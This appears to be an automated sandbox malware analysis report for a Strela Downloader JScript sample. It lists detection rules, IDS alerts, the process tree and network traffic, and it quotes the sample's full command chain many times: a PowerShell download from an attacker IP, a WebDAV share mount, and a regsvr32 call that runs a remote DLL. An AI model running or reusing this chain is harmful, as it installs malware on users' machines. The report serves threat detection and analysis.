Edit tour

Windows Analysis Report
229242754773566299.js

Overview

General Information

Sample name:	229242754773566299.js
Analysis ID:	1587816
MD5:	a5c939cf41197cd267b01ed281a35eaf
SHA1:	71f37cde722d09b4bacc5bdc8a2d74a5bb86007b
SHA256:	da327c3e3a1c16b2d7469a703fb4039929ad5550905855f9e4a8b4c8312a02a6
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3668 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\229242754773566299.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1440 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\263131343631977.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3136 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1240 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 1536 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7104 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7316 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1380,i,12313023913418005986,17270037766664575740,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 4708 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6448 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 2136 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3668	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\263131343631977.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1440, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1240, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\263131343631977.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1440, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1240, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\229242754773566299.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\229242754773566299.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\229242754773566299.js", ProcessId: 3668, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6448, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49784

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\263131343631977.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\263131343631977.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\229242754773566299.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3668, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\263131343631977.dll, ProcessId: 1440, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\263131343631977.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\263131343631977.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\229242754773566299.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3668, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\263131343631977.dll, ProcessId: 1440, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\263131343631977.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\263131343631977.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\229242754773566299.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3668, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\263131343631977.dll, ProcessId: 1440, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\263131343631977.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\263131343631977.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\229242754773566299.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3668, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\263131343631977.dll, ProcessId: 1440, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\263131343631977.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\263131343631977.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\229242754773566299.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3668, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\263131343631977.dll, ProcessId: 1440, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\229242754773566299.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\229242754773566299.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\229242754773566299.js", ProcessId: 3668, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\263131343631977.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1440, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1240, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4708, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6448, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2136, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4708, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6448, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\263131343631977.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\263131343631977.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\229242754773566299.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3668, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\263131343631977.dll, ProcessId: 1440, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:14:47.438958+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49784	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:14:44.736777+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49773	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 229242754773566299.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 229242754773566299.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49784 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:14:44 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49784

Source: global traffic

TCP traffic: 192.168.2.5:49784 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49773 -> 193.143.1.205:80

Source: global traffic

